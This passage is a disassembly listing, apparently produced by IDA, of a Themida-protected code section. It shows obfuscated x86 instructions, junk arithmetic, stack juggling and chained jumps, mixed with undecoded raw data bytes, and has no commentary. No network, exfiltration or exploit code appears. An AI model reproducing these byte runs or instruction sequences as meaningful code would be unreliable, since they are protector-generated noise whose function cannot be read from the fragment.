; ---------------------------------------------------------------------------
loc_55AE8C: ; CODE XREF: Themida_:0055C093j
add esp, 4
jmp loc_566BF2
; ---------------------------------------------------------------------------
db 88h
dd 0E9FD88E7h, 7C31h, 31E9C581h, 85E94486h, 81FFFFE0h
dd 4C4h, 94FDE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AEB6: ; CODE XREF: Themida_:0055F399j
add al, dh
pop edx
sub esp, 4
mov [esp], ecx
push 594h
mov [esp], edx
push ebx
jmp loc_567BBC
; ---------------------------------------------------------------------------
dd 5A2434FFh, 7B0868h, 240C8900h, 0C181E189h, 4, 0E904C183h
dd 0FFFFB335h, 51242C89h, 0A917F3B9h, 8B5D5153h, 0C9E9240Ch
db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AEFF: ; CODE XREF: Themida_:005564BEj
mov [esp], esi
push eax
push esi
jmp loc_55D0BA
; ---------------------------------------------------------------------------
db 81h, 0CFh, 0DAh
dd 8154F765h, 4B37EBCFh, 93F78144h, 0E9503379h, 0FFFFAF90h
dd 4C4815Bh, 0E9000000h, 5E35h, 5857C281h, 6859254Eh, 49F0h
dd 0B8240489h, 2, 48BC229h, 4C48124h, 0E9000000h, 0ABD4h
dd 50A9F381h, 0DD293CF0h, 81241C8Bh, 4C4h, 5DEB0900h, 2693E9h
dd 24248B00h, 0FFAF36E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55AF71: ; CODE XREF: Themida_:00561F4Aj
mov [esp], ebx
sub dword ptr [esp], 3D7A7C9Eh
pop eax
push 7E6Fh
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
mov ecx, 24604272h
push ecx
push edi
jmp loc_565396
; ---------------------------------------------------------------------------
db 45h, 81h, 0F5h
dd 0A5482B2Fh, 315DEE89h, 248BE9F5h, 0EF810000h, 361A6B3Fh
dd 21D4C781h, 0FD2992A7h, 0E9EA295Fh, 4CFFh
; ---------------------------------------------------------------------------
loc_55AFC8: ; CODE XREF: Themida_:0055E4B1j
pop eax
add esi, 2
xchg esi, [esp]
jmp loc_56445C
; ---------------------------------------------------------------------------
loc_55AFD4: ; CODE XREF: Themida_:0055DA7Aj
add esi, 24482D42h
sub esi, edi
sub esi, 24482D42h
pop edi
shl esi, 3
add esi, 1125DB4Ch
jmp loc_55565D
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 29000000h, 2434FFF0h, 5124348Bh, 0C181E189h, 4, 4C181h
dd 2EE90000h, 89000009h, 74FF240Ch, 9BE90424h
db 55h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B01F: ; CODE XREF: Themida_:00554261j
mov ebx, 4
jmp loc_5652EE
; ---------------------------------------------------------------------------
db 51h, 2 dup(0B9h)
dd 0B80B2744h, 1CE95549h, 0C74A9E05h, 2DC8295Ah, 5AC74A9Eh
dd 0BBCE959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B046: ; CODE XREF: Themida_:0055B29Aj
mov [esp], ecx
push edi
mov edi, 72F649D1h
jmp loc_559F60
; ---------------------------------------------------------------------------
dd offset loc_40E064+4
dd 243C8900h, 4BB53h, 8B530000h, 0C483243Ch, 5E27E904h
dd 7D680000h, 89000032h, 41E9243Ch
db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B07B: ; CODE XREF: Themida_:00553221j
xor ebx, 2E997FAFh
sub ebx, 50DA3BB8h
add ebx, 55A91F43h
shl ebx, 5
xor ebx, 4DE0B066h
add eax, ebx
pop ebx
mov ecx, eax
jmp loc_56065C
; ---------------------------------------------------------------------------
dd 89FB8953h, 69D2E9DDh, 0EC810000h, 4, 0B7241C89h, 80EFD09Dh
dd 0DFF63CE7h, 6EB8E9h, 24048900h, 0B6968h, 899FE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B0CE: ; CODE XREF: Themida_:00565FD3j
pop edi
jmp loc_5619B8
; ---------------------------------------------------------------------------
dd 15FCF281h, 0E2C146EFh, 0CD43E904h, 14F70000h, 7C14E924h
dd 8B5A0000h, 0C481241Ch, 4, 2ACD6855h, 34FF088Ch, 0C4835D24h
dd 2BA5204h, 293B4823h, 0B2055AD0h, 0E947A012h, 72C7h
dd 5DB3EF81h, 0C7012FB1h, 4EC81h, 0C890000h, 707EB924h
dd 8BE92036h, 0FF00007Ah, 8B042474h, 0C481241Ch, 4, 0FFDCE5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55B141: ; CODE XREF: Themida_:0055D3E3j
shr ebp, 5
push esi
mov esi, 7CD35721h
neg esi
shl esi, 5
jmp loc_561368
; ---------------------------------------------------------------------------
dd 17E9E689h, 0F7FFFF99h, 0CEF781D7h, 81658E47h, 0D85B43C7h
dd 1D4DE993h, 0C300000h, 240C3224h, 68240C30h, 3775h, 86240C89h
dd 0D1F6240Ch, 8B240C86h, 0EC81240Ch, 4, 0E9241C89h, 0FFFFCC3Ch
; ---------------------------------------------------------------------------
loc_55B198: ; CODE XREF: Themida_:00557D61j
mov [esp], ecx
mov ecx, esp
push esi
mov esi, 4
add ecx, esi
pop esi
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push 167Dh
jmp loc_565D13
; ---------------------------------------------------------------------------
db 52h, 0B2h, 5Dh
dd 0E2C0C2FEh, 0D602E905h, 0E959FFFFh, 0FFFF9E81h, 0C381F301h
dd 72916ECAh, 36F5C381h, 348B40EBh, 0E6895624h, 4C681h
dd 0C6810000h, 4, 5C243487h, 9580E9h
db 0
; ---------------------------------------------------------------------------
loc_55B1F5: ; CODE XREF: Themida_:005541CBj
sub dl, 76h
mov ax, [esp]
add esp, 2
inc dl
shr dl, 3
push ecx
push bx
mov bl, 0CFh
mov cl, bl
pop bx
push ecx
mov cl, 0F8h
sub dl, cl
pop ecx
jmp loc_560D31
; ---------------------------------------------------------------------------
db 0FFh
dd 0C8B2434h, 7617E924h, 93B80000h, 5521C5Fh, 9835E4Ch
dd 0DB354840h, 0E95B9FBDh, 0B5FEh, 0E9240487h, 6240h
; ---------------------------------------------------------------------------
loc_55B244: ; CODE XREF: Themida_:00560F50j
pop edx
sub ecx, 1EA52BF1h
sub ecx, ebp
jmp loc_56782E
; ---------------------------------------------------------------------------
dw 0E801h
dd 9A28532Dh, 0F0C9E94Bh, 8B66FFFFh, 33682404h, 89000058h
dd 0E0892404h, 7389E9h
db 0
; ---------------------------------------------------------------------------
loc_55B271: ; CODE XREF: Themida_:00555EF8j
or ebx, 3C0537A1h
push ebx
push ecx
pop ebx
pop ecx
neg ecx
xchg ecx, ebx
shr ebx, 1
jmp loc_55615A
; ---------------------------------------------------------------------------
dw 0D2F7h
dd 56C0F281h, 0E2C165DDh, 95E94A04h
db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B297: ; CODE XREF: Themida_:0056067Cj
sub esp, 4
jmp loc_55B046
; ---------------------------------------------------------------------------
db 81h
dd 0BF6CE3C7h, 3EFC120h, 70C9EF81h, 0F8899CA6h, 716FE9h
dd 1DBB5300h, 5024146Ch, 690D39B8h, 0A099E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B2C6: ; CODE XREF: Themida_:00559496j
xor ebp, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_552C38
; ---------------------------------------------------------------------------
loc_55B2D5: ; CODE XREF: Themida_:00555177j
pop edx
jmp loc_56269C
; ---------------------------------------------------------------------------
loc_55B2DB: ; CODE XREF: Themida_:0055DE18j
xchg edx, [esp]
pop esp
mov [esp], edx
push 113Eh
mov [esp], ebx
jmp loc_562CEA
; ---------------------------------------------------------------------------
db 59h
dd 14F75091h, 0C1315824h, 0FFA9C6E9h, 4EB83FFh, 5C241C87h
dd 0B602E9h, 59C80000h, 34FF772Ch, 2434FF24h, 4C48359h
dd 0E904C483h, 0FFFF7E86h, 5B2434FFh, 5704C483h, 896B0EBFh
dd 0D9A6E945h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B332: ; CODE XREF: Themida_:0055CDE6j
not ecx
xchg ecx, edx
push edx
not dword ptr [esp]
pop edx
jmp loc_55F232
; ---------------------------------------------------------------------------
aSax db '\é x',0
align 2
dw 0DE01h
dd 5AEDC681h, 34FF68F8h, 62E95B24h
db 81h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B357: ; CODE XREF: Themida_:00559698j
add dword ptr [esp], 579511BBh
jmp loc_55999F
; ---------------------------------------------------------------------------
loc_55B363: ; CODE XREF: Themida_:00552C72j
pop ebx
sub al, 2Ah
jmp loc_5543CD
; ---------------------------------------------------------------------------
loc_55B36B: ; CODE XREF: Themida_:00559B03j
pop ebp
neg ebp
shl ebp, 5
not ebp
push esi
push ebp
mov ebp, 681E0AC8h
jmp loc_560243
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_55D942
; ---------------------------------------------------------------------------
loc_55B39F: ; CODE XREF: Themida_:00565CC4j
pop eax
add eax, 4
push edx
mov edx, 4
add eax, edx
mov edx, [esp]
push ebp
mov ebp, esp
jmp loc_553E22
; ---------------------------------------------------------------------------
dd 0A97FE94Bh, 0E781FFFFh, 17A60FB8h, 0A4DFE9h, 24148900h
dd 287CE9h, 241C8900h, 0C381E389h, 4, 0DC09E951h, 5B5EFFFFh
dd 0EAF1E94Eh, 0EC81FFFFh, 4, 5A93E9h, 5AD13100h, 0C8BC801h
dd 4C48324h, 405h, 6D47E900h, 4BD0000h, 0E9000000h, 0FFFFC49Dh
dd 0E92434FFh, 8AEDh
; ---------------------------------------------------------------------------
loc_55B41C: ; CODE XREF: Themida_:005535D3j
push edx
mov edx, edi
mov ecx, edx
pop edx
pop edi
jmp loc_554F7A
; ---------------------------------------------------------------------------
loc_55B428: ; CODE XREF: Themida_:0055A4DBj
mov ecx, 2B8B0BBDh
jmp loc_567D8D
; ---------------------------------------------------------------------------
loc_55B432: ; CODE XREF: Themida_:0055846Fj
xor al, dl
pop edx
push edx
mov dh, 5Ah
jmp loc_563676
; ---------------------------------------------------------------------------
db 81h, 34h, 24h
dd 385F05DFh, 0A7E9565Fh, 9FFFFADh, 0BD555BDFh, 1, 8E80E956h
dd 39BEFFFFh, 815F8E58h, 0E7040FC6h, 5EF789BEh, 7747CF81h
dd 0EC81590Dh, 4, 0BB241C89h, 5F7D7F4Dh, 7EBDC781h, 0DF290496h
dd 7EBDEF81h, 5EE90496h, 81FFFF8Ah, 9C6021C3h, 8F0AE911h
dd 0F65AFFFFh, 68C5FED5h, 4143h, 0E9241C89h, 0BF64h, 0C8BCF29h
dd 4C48324h, 3C8BFB01h, 0E1895124h, 4C181h, 29E90000h
db 98h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B4C7: ; CODE XREF: Themida_:005552E8j
mov ah, [esp]
add esp, 2
jmp loc_55666D
; ---------------------------------------------------------------------------
dw 0E957h
dd 0FFFF9649h, 2404305Ch, 5B7AE99Ch, 0D7010000h, 5FFE295Ah
dd 12BBB951h, 0CE295975h, 0AF56E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B4F6: ; CODE XREF: Themida_:005607A1j
xchg edx, [esp]
pop esp
mov [esp], ebx
mov ebx, 2FBF3F51h
jmp loc_55DC96
; ---------------------------------------------------------------------------
db 81h
dd 4C6h, 0AA4EE900h, 0CD2FFFFh, 1DE99C24h
db 77h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B51B: ; CODE XREF: Themida_:00565A52j
pop edx
pop ecx
sub [edi+24h], esi
push dword ptr [esp]
pop esi
push ebx
push esp
jmp loc_55A2B3
; ---------------------------------------------------------------------------
loc_55B52B: ; CODE XREF: Themida_:0055B61Dj
add eax, 0A08A18E0h
sub edi, 16BD37C4h
jmp loc_564DA6
; ---------------------------------------------------------------------------
loc_55B53B: ; CODE XREF: Themida_:0055BD8Bj
pop eax
and dh, ch
jmp loc_55EB62
; ---------------------------------------------------------------------------
db 0C1h
dd 0C68105EEh, 331D1C38h, 0AFE9F329h, 1000080h, 0CE895FF9h
dd 0E9240C8Bh, 0FFFFFA91h, 0E95BDD21h, 0CDh
; ---------------------------------------------------------------------------
loc_55B568: ; CODE XREF: Themida_:0056488Cj
push edx
mov edx, 105714B5h
xor edx, 6E696682h
add edx, 0C7DDBA81h
and esi, edx
mov edx, [esp]
add esp, 4
push eax
mov eax, 40140C34h
xor esi, eax
pop eax
add ebx, esi
mov esi, [esp]
add esp, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_553BD9
; ---------------------------------------------------------------------------
db 0E9h, 8Eh, 76h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B5AA: ; CODE XREF: Themida_:00566A98j
mov ecx, 3FCC5B5Dh
jmp loc_5534D4
; ---------------------------------------------------------------------------
dd 5398E981h, 0BDE985B3h, 8BFFFF79h, 0B2522424h, 9F73E99Ch
dd 0EC83FFFFh, 24048904h, 42474FFh, 24048F58h, 0C870E95Ch
dd 0D7210000h, 7762E9h, 0E9D80100h, 0FFFFACD3h, 3B35CA81h
dd 40685FFDh, 0E9000023h, 0FFFFA323h, 4EC81h, 2C890000h
dd 24E95424h
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B60B: ; CODE XREF: Themida_:00564433j
mov ecx, 0A94788Ch
jmp loc_55D084
; ---------------------------------------------------------------------------
loc_55B615: ; CODE XREF: Themida_:00561F0Ej
shl eax, 7
or eax, 5A554A1Ch
jmp loc_55B52B
; ---------------------------------------------------------------------------
loc_55B622: ; CODE XREF: Themida_:0055D1A9j
sub esp, 4
mov [esp], ebx
push 330353h
jmp loc_56380C
; ---------------------------------------------------------------------------
db 81h, 0C5h, 0E3h
dd 914234Bh, 0EB815DEBh, 77FFDF39h, 835BD901h, 0C4E904ECh
db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B64F: ; CODE XREF: Themida_:00564F71j
mov ecx, eax
pop eax
push ecx
jmp loc_5602C5
; ---------------------------------------------------------------------------
loc_55B658: ; CODE XREF: Themida_:00564F64j
shr edi, 2
sub edi, 20DB131Eh
sub edi, 0EF0157E3h
jmp loc_55E80E
; ---------------------------------------------------------------------------
loc_55B66C: ; CODE XREF: Themida_:0055C678j
push edx
mov edx, 839F9B14h
sub eax, edx
mov edx, [esp]
add esp, 4
sub ecx, 14295606h
add ecx, eax
add ecx, 14295606h
push dword ptr [esp]
pop eax
jmp loc_55848F
; ---------------------------------------------------------------------------
dd 0EF81CF01h, 8EF28BAh, 0FFA6FDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55B6A1: ; CODE XREF: Themida_:00556DAEj
add esp, 4
loc_55B6A7: ; CODE XREF: Themida_:00567E5Ej
push 7417h
mov [esp], ebx
push dword ptr [esp]
pop ebx
push ebx
jmp loc_55514F
; ---------------------------------------------------------------------------
db 5Fh, 51h, 57h
dd 97787BFh, 247C292Ch, 7810E904h, 48FFFFFh, 24048124h
dd 4, 5524048Fh, 4BDh, 46E95600h, 81000006h, 4C4h, 3B3D6800h
dd 34890000h, 14966824h, 0A0E90000h
db 8Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B6FB: ; CODE XREF: Themida_:005647E3j
push 4BE6h
mov [esp], edi
jmp loc_55C670
; ---------------------------------------------------------------------------
dd 83BF6657h, 0C0BE661Ah, 0FE296689h, 81243C8Bh, 4C4h
dd 66506600h, 10B96651h, 0C8896606h, 0FFAEFBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55B72D: ; CODE XREF: Themida_:00557614j
push eax
not dword ptr [esp]
pop eax
jmp loc_560179
; ---------------------------------------------------------------------------
db 0FFh
dd 505A2434h, 0F7685854h, 89000048h, 0C6E9240Ch
db 77h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B74B: ; CODE XREF: Themida_:00562BB5j
push dword ptr [esp]
push dword ptr [esp]
jmp loc_55F75E
; ---------------------------------------------------------------------------
loc_55B756: ; CODE XREF: Themida_:0055AA5Dj
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push 101Ah
mov [esp], edi
push 48B7h
mov [esp], ebx
push 0B767A5Bh
mov ebx, [esp]
add esp, 4
push eax
jmp loc_566ACF
; ---------------------------------------------------------------------------
dw 9BBh
dd 0F765285Fh, 53CE9DBh, 0F5810000h, 34650341h, 48BCD81h
dd 0E9511DC1h, 0A830h
; ---------------------------------------------------------------------------
loc_55B7A8: ; CODE XREF: Themida_:005580BEj
sub ebp, eax
pop eax
or edx, ebp
pop ebp
jmp loc_5570FE
; ---------------------------------------------------------------------------
db 53h
dd 0FF54DB68h, 77D4E963h, 75E9FFFFh
db 74h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B7C3: ; CODE XREF: Themida_:0055FDBDj
push 132B3E6Dh
jmp loc_55408C
; ---------------------------------------------------------------------------
db 89h, 0E2h, 55h
dd 4BDh, 5DEA0100h, 4BD55h, 0C2810000h, 6BCA175Fh, 3CE9EA29h
db 3Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B7EB: ; CODE XREF: Themida_:00556BD6j
add edx, ecx
jmp loc_55F52B
; ---------------------------------------------------------------------------
dw 0EE83h
dd 14875601h, 0F7F28724h, 9B49E9D6h, 4FBE0000h, 5677E001h
dd 0FFB4B4E9h, 243C89FFh, 0AC049DBFh, 8BF9297Eh, 0C483243Ch
dd 7B6CE904h, 0C280FFFFh, 0B5515384h, 0EC5EE9A8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B82E: ; CODE XREF: Themida_:00560F94j
sub edx, 0AC9FEABh
shl edx, 1
inc edx
not edx
dec edx
dec edx
sub edx, 40B59222h
sub edi, 3FDE345Fh
add edi, edx
jmp loc_5617C8
; ---------------------------------------------------------------------------
aBUunnsg db ')Ê“unéG³',0
db 0
; ---------------------------------------------------------------------------
loc_55B85B: ; CODE XREF: Themida_:00553422j
add ecx, 4
xchg ecx, [esp]
pop esp
push 0C5h
mov [esp], ebp
mov ebp, esp
push 3BA6h
mov [esp], esi
mov esi, 4
add ebp, esi
mov esi, [esp]
add esp, 4
push eax
jmp loc_554590
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 1C77FF00h, 0B3240481h, 0FF366C5Dh, 68592434h
dd 29E9h, 89240C89h, 4C181E1h, 81000000h, 4ECh, 8456E900h
dd 0EE81FFFFh, 6B706ECCh, 0C681D629h, 6B706ECCh, 67B9515Ah
dd 294C4A63h, 190559C8h, 0E973AE4Eh, 0FFFFB2E0h, 0A6EF815Dh
dd 89680F2Ah, 0FBE95FF8h, 57FFFF92h, 0C781E789h, 4, 8704C783h
dd 685C243Ch, 6696h, 0FF241489h, 0FF042474h, 835A2434h
dd 19E904C4h, 68000034h, 39814F00h, 0EE81465Eh, 250F260Eh
dd 0F75E5956h, 18E955D1h, 83FFFF81h, 1C8704EBh, 0C895C24h
dd 81E18924h, 4C1h, 2C18300h, 0FFD369E9h, 240C87FFh, 0FF8AB9E9h
dd 1DEA81FFh, 126E760h, 0C6815AD6h, 2, 0E9243433h, 6C37h
; ---------------------------------------------------------------------------
loc_55B960: ; CODE XREF: Themida_:00554FC9j
mov dl, ch
pop ecx
add al, dl
jmp loc_5594E7
; ---------------------------------------------------------------------------
dw 0F229h
dd 8E2C15Eh, 7AE9DAF7h
db 15h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B977: ; CODE XREF: Themida_:00568197j
push 32FBh
mov [esp], edx
push 15402E36h
mov edx, [esp]
add esp, 4
not edx
jmp loc_56811E
; ---------------------------------------------------------------------------
db 0BEh, 0DEh, 4Ch
dd 0F02919B9h, 5D8295Eh, 19B94CDEh, 0E92434FFh, 24C8h
; ---------------------------------------------------------------------------
loc_55B9A8: ; CODE XREF: Themida_:005592CAj
and ebx, 657E085Bh
push ebx
jmp loc_564675
; ---------------------------------------------------------------------------
loc_55B9B4: ; CODE XREF: Themida_:005586E5j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push ecx
mov ecx, 46E65009h
push ecx
inc dword ptr [esp]
pop ecx
shr ecx, 8
add ecx, 1
jmp loc_563016
; ---------------------------------------------------------------------------
db 53h, 89h, 0F3h
dd 1C8BDA89h, 4C48324h, 8124348Bh, 4C4h, 5AD00100h, 4168D801h
dd 89000000h, 68552434h, 72BA2F0Ah, 0FFCCAFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BA09: ; CODE XREF: Themida_:00563BFAj
sub esp, 4
mov [esp], edx
push esp
pop edx
add edx, 4
push ebp
push edx
push 77EB66CCh
jmp loc_560FB2
; ---------------------------------------------------------------------------
loc_55BA23: ; CODE XREF: Themida_:0055450Fj
push dword ptr [esp]
jmp loc_563FBC
; ---------------------------------------------------------------------------
db 0B8h
dd 7DF96B8Bh, 1C8BD831h, 4C48124h, 0E9000000h, 0C3A3h
dd 81243C8Bh, 4C4h, 50E95300h, 8BFFFFB1h, 0C481242Ch, 4
dd 0FF8E9EE9h, 5AD028FFh, 4EC8351h, 0B7241C89h, 0F6C7FEF3h
dd 0B65266DFh, 0B4E9E96Dh, 348B0000h, 0E19BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BA7E: ; CODE XREF: Themida_:0055C19Ej
mov ecx, esi
jmp loc_55C3AD
; ---------------------------------------------------------------------------
db 58h, 2Ch, 0DDh
dd 0DD04F028h, 24148B66h, 6802C483h, 7999h, 0B3241C89h
dd 0E9C3FE59h, 60D9h, 4C4815Eh, 68000000h, 4F1Bh, 0BA241489h
dd 3DC544B9h, 2299B951h, 5CE973DDh, 0C10000BAh, 843507E0h
dd 12F42BCh, 6FE958C6h, 5A000073h, 94C5815Fh, 1799334h
dd 94ED81CDh, 59799334h, 2C581h, 2C330000h, 242C3124h
dd 935CE9h, 24048F00h, 8904EC83h, 5EE92414h, 0FFFFFF9Eh
dd 2C8B2434h, 4C48124h, 68000000h, 71F8h, 89241C89h, 4C381E3h
dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 405E089h, 83000000h
dd 43304C0h, 24043124h, 0E9240433h, 50B8h, 0E924048Fh
dd 0FFFF762Ah, 0F80BA52h, 0D30135F1h, 0FFA971E9h, 0DCF781FFh
dd 899BFE0Fh, 83455FFDh, 148904ECh, 0A1BF5724h, 891DFB78h
dd 0A3C6E9FAh, 0D8B90000h, 8323A467h, 0DDE904ECh
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BB83: ; CODE XREF: Themida_:005599ADj
xor [esp], eax
xor eax, [esp]
pop esp
push ebx
push 3212h
jmp loc_560102
; ---------------------------------------------------------------------------
loc_55BB95: ; CODE XREF: Themida_:00567FFAj
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
jmp loc_55BF3D
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 0E9F72900h, 8AE0h, 0FFFFEF81h, 0E7C1FFFFh, 0EF78106h
dd 89F37F3Ah, 0C2815FFAh, 70E513F6h, 3DD7F281h, 0C2816389h
dd 0FFFFFFFFh, 0A5B2E9h, 93E95300h
db 10h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BBE3: ; CODE XREF: Themida_:00553BD4j
add al, cl
jmp loc_561231
; ---------------------------------------------------------------------------
dw 0F281h
dd 0CFAA64C5h, 0FFE491E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BBF5: ; CODE XREF: Themida_:005574D4j
not ebx
xor ebx, 0C820D269h
jmp loc_567A78
; ---------------------------------------------------------------------------
dw 0E8D1h
dd 0E901E883h, 9CCDh, 577AC981h, 0E9814A88h, 2CBA6FBBh
dd 874FF987h, 5617E9F9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BC22: ; CODE XREF: Themida_:00562365j
pop eax
add esp, 4
jmp loc_55CB97
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 4B95100h, 0E9000000h, 17ACh
; ---------------------------------------------------------------------------
loc_55BC3C: ; CODE XREF: Themida_:0055F198j
xchg edx, [esp]
pop esp
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5610DA
; ---------------------------------------------------------------------------
db 0FFh
dd 83582434h, 1EE904C4h, 81000086h, 4C4h, 241C3300h, 33241C31h
dd 248B241Ch, 0C8B6624h, 0E3895324h, 4C381h, 0EC810000h
dd 4, 5CDCE9h, 86685000h, 5809A17Ah, 427168h, 24048900h
dd 53241C87h, 8B2414F7h, 0C483241Ch, 241C3104h, 31241C33h
dd 0E1E9241Ch, 58FFFFDCh, 8DE9F388h, 8100003Dh, 4C7h, 0BFEDE900h
dd 0E901FFFFh, 4C1815Dh, 51000000h, 42474FFh, 0DCE0E959h
dd 0E3C1FFFFh, 0AEEB8106h, 817E8C76h, 48DAE4F3h, 0E9D8018Fh
dd 0A9A8h, 19B85059h, 2D1BFE57h, 0D7180F1Ah, 158C729h
dd 0FFC781CFh, 0E944E647h, 6DC6h, 4BDh, 5DE98900h, 8159CF01h
dd 4C7h, 243C8700h, 0FFF623E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BD1D: ; CODE XREF: Themida_:005624A9j
mov edx, 0FFFFFFFFh
sub esi, edx
jmp loc_56682B
; ---------------------------------------------------------------------------
db 55h, 68h, 0FAh
dd 5D51D507h, 48C58145h, 89B751FCh, 74015DEEh, 0E95E0824h
dd 0A349h
; ---------------------------------------------------------------------------
loc_55BD44: ; CODE XREF: Themida_:005667A5j
and eax, ecx
mov ecx, [esp]
add esp, 4
or edx, eax
shl edx, 1
sub esp, 4
mov [esp], eax
push edi
jmp loc_55A81D
; ---------------------------------------------------------------------------
loc_55BD5C: ; CODE XREF: Themida_:00556F98j
mov esi, [esp]
add esp, 4
mov ebx, [esp]
push ebp
mov ebp, esp
push edi
mov edi, 4
add ebp, edi
jmp loc_5649B7
; ---------------------------------------------------------------------------
loc_55BD78: ; CODE XREF: Themida_:00567ACFj
xor [edi+20h], esi
xor esi, [edi+20h]
jmp loc_5563FD
; ---------------------------------------------------------------------------
loc_55BD83: ; CODE XREF: Themida_:005627C7j
and ch, 0ECh
push eax
mov al, 0E8h
xor ch, al
jmp loc_55B53B
; ---------------------------------------------------------------------------
dd 0FF6EA3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BD95: ; CODE XREF: Themida_:0056468Fj
sub eax, ebp
jmp loc_553E80
; ---------------------------------------------------------------------------
dd 20764F68h, 0A1E95F4Ah
db 7Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BDA7: ; CODE XREF: Themida_:00557562j
mov esi, 4
push ebp
mov ebp, 0EEC02E5h
add edx, ebp
jmp loc_55D1CD
; ---------------------------------------------------------------------------
db 59h, 81h, 0C3h
dd 3BDC3305h, 0EB81FB01h, 3BDC3305h, 0DD97E95Fh, 0B85DFFFFh
dd 19867940h, 1129E605h, 2DF8292Ah, 2A1129E6h, 3E320D5Fh
dd 87505A79h, 0D1F7240Ch, 0B4B9E9h
db 0
; ---------------------------------------------------------------------------
loc_55BDF1: ; CODE XREF: Themida_:00560316j
push ebp
jmp loc_55A55C
; ---------------------------------------------------------------------------
db 89h
dd 0B5BA2414h, 2939D308h, 0E9815AD1h, 0C441C817h, 8159CE09h
dd 0B75CE7EEh, 2C78111h, 812B3120h, 2E3A92C7h, 0E9F70160h
dd 0FFFFB6FAh, 5AF18858h, 0E959CC88h, 57F3h, 53566851h
dd 14890000h, 6B636824h, 0FEE9479Dh, 81FFFF72h, 0FA4F2FCFh
dd 2E7C115h, 18CE781h, 0EFC12517h, 4EC8105h, 0E9000000h
dd 0FFFF6F12h, 0BF57h, 0CF290000h, 69ACE9h, 59CE2800h
dd 0DB15166h, 5966CE20h, 0F6A0CE80h, 0E9C6FED6h, 5238h
dd 5450EB81h, 0E957111Eh, 8BA8h, 405E0C0h, 408341Ah, 3AB252C6h
dd 0FFBDBEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BEA1: ; CODE XREF: Themida_:00552DF5j
mov ebx, 27921549h
xchg esi, ebx
dec esi
jmp loc_55C3C0
; ---------------------------------------------------------------------------
dw 1C89h
dd 4BB24h, 0DA010000h, 3359685Bh, 3C890000h, 4BF24h, 0C2810000h
dd 41393B43h, 0EA81FA29h, 41393B43h, 5F2434FFh, 5E08950h
dd 4, 405h, 24048700h, 3324248Bh, 14312414h, 24143324h
dd 0EB8BE95Ch, 0E5C1FFFFh, 0FCCD8108h, 0E95DCC4Ch, 0A3ABh
dd 0D51F8FBAh, 8BD38970h, 0C4832414h, 5E94B04h, 89000089h
dd 68562404h, 0F81C51h, 0FFE2ABE9h, 6E6C1FFh, 0C101EE83h
dd 0F68102EEh, 32D78C30h, 56B4E9h
db 0
; ---------------------------------------------------------------------------
loc_55BF3D: ; CODE XREF: Themida_:0055BBA2j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55581D
; ---------------------------------------------------------------------------
dd 1D70B951h, 0C1816433h, 152A14C5h, 5AEEEA81h, 0CA0175C6h
dd 5AEEC281h, 0E95975C6h, 182Fh, 0E84CBABAh, 1EA8137h
dd 0E9000000h, 63AAh, 243C875Dh, 8237E9h, 81E18900h, 4C1h
dd 4C18300h, 5C240C87h, 8904EC83h, 1BF243Ch, 0E9000000h
dd 0FFFF9AE8h, 544F181h, 0C9817606h, 3E4571E0h, 8106E1C1h
dd 53081C9h, 83F18114h, 19D5DFEh, 3C8759CFh, 8F665C24h
dd 11682404h, 8900002Bh, 5A542414h, 4C281h, 0EA830000h
